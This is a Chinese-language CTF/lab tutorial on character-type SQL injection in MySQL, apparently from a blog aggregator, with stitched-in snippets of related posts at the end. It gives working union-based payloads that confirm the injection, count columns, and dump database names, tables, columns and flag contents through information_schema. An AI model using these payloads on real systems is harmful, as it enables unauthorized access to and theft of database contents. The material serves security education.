目錄
一、判斷是否存在注入
二、判斷select語句中有幾列
三、判斷顯示的資訊是第幾列的資訊
四、利用函式來收集資料庫資訊
五、通過union查詢資料庫
1、獲取所有資料庫名稱
2、查詢資料庫中有多少個表
3、查詢指定資料庫中的表名
4、查詢指定資料庫指定表中的列名
5、查詢指定資料庫指定表的列的內容
1、加單引號
此時sql 語句為:select * from table where name=』admin』』,由於加單引號後變成三個單引號,則無法執行,程式會報錯;
2、加 』and 1=1
此時sql 語句為:select * from table where name=』admin』 and 1=1』 ,也無法進行注入
還需要通過注釋符號將其繞過;mysql 有三種常用注釋符:
-- 注意,這種注釋符後邊有乙個空格
因此,構造語句為:select * from table where name =』admin』 and 1=1—』 可成功執行返回結果正確;
3、加 』and 1=2 —
此時sql語句為:select * from table where name=』admin』 and 1=2 –』 則會報錯
如果滿足以上三點,可以判斷該url為字元型注入。
服務端的sql語句為:select 列 from 資料庫.表 where name='$name'
order by 列名(列名可以為select語句中列的序號,name,age——->1,2),因此數字從大往小猜,如果超出它的列數,則報錯;如果恰好等於列數,顯示$name=1的結果。
$name=1' order by 3 -- ',sql語句為:select * from news where id='1' order by 3 -- '',超過它的列數,報錯。繼續往小猜。猜到2時可以正常顯示,因此字段數量為2
一般在我們可見頁面中顯示的資訊不一定是查詢全部列數,可能查詢3列,顯示1列。通過『直接閉合前面的select語句,使其前半句查詢結果空(除非存在name=』『的情況),即資料庫中不存在該查詢資料,然後通過union select 1,2 顯示的數字來確定顯示的列的位置。
$name=' union select 1,2 -- '
根據查詢結果,得到2,以後想要查詢的資訊就放在第二個列處。
查詢sql自帶的函式來確定當前使用者,當前資料庫等資訊。
資料庫函式有以下:
1、使用者:user()
2、當前資料庫:database()
3、資料庫版本:version()
4、@@hostname (使用者)
5、@@datadir (資料庫在檔案的位置)
6、@@version (版本)
7、@@version_compile_os (作業系統版本)
$name=' union select 1,user() -- ',查詢結果為:是root賬戶
如果為root使用者,就可以訪問information_schema資料庫。
查詢資料庫型別,$name=' union select 1,version() -- ',查詢結果為:
由資料庫版本可知它是mysql的乙個分支。
查詢當前資料庫名稱,$name=' union select 1,database() -- ',查詢結果為:
當前資料庫名稱為:sqli
$name=' union select 1,group_concat(schema_name) from information_schema.schemata -- '
查詢結果為:
當前資料庫有:
information_schema,mysql,performance_schema,sqli
$name=' union select table_schema,count(*) from information_schema.tables -- '
由結果可知information_schema中有161個表
查詢資料庫information_schema中的所有表名,在後續中需要從裡面的表中查詢資料,該資料庫中有161個表。
$name=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='informatioin_schema' -- '
$name=' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' -- '
根據查詢結果可知,資料庫sqli中有兩個表:news、flag
此次,通過limit逐個獲取列名, limit 0,1,修改limit中第乙個數字獲取其他列名,如獲取第二個列名:limit 1,1。
$name=' union select table_name,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) -- '
查詢結果:第乙個字段列名為:flag
查詢第二個欄位沒出查詢成功,說明此表中只有乙個列欄位
$name=' union select 1,group_concat(flag) from sqli.flag -- '
查詢結果:
CTFHub 整數型SQL注入
1 整數型sql注入 1 判斷是否存在注入 1 加單引號 url 對應的sql select from table where id 3 這時sql語句出錯,程式無法正常從資料庫中查詢出資料,就會丟擲異常 2 加and 1 1 url and 1 1 對應的sql select from table...
SQL字元型注入
sql字元型注入 多點幾次submit,它會出現這麼個玩意 都說了是字元型,直接上 whalwl 報錯 whalwl 注釋單引號,不報錯 whalwl order by 3 查詢字段數,order by 4報錯,order by 3剛好不報錯,故有3列 查詢有那些資料庫 這裡注意兩點 1.為什麼要寫...
SQL注入 字元型注入(GET)
實驗準備 皮卡丘靶場 sql injection 數值型注入 get 實驗步驟 當輸入乙個資料庫裡存在的使用者名稱時候,會出現相關郵箱和id 當輸入乙個不存在的字串時,沒有任何資訊 檢視其url,發現請求實在url中提交的,是乙個get請求 猜想資料庫查詢語句 select id,email fro...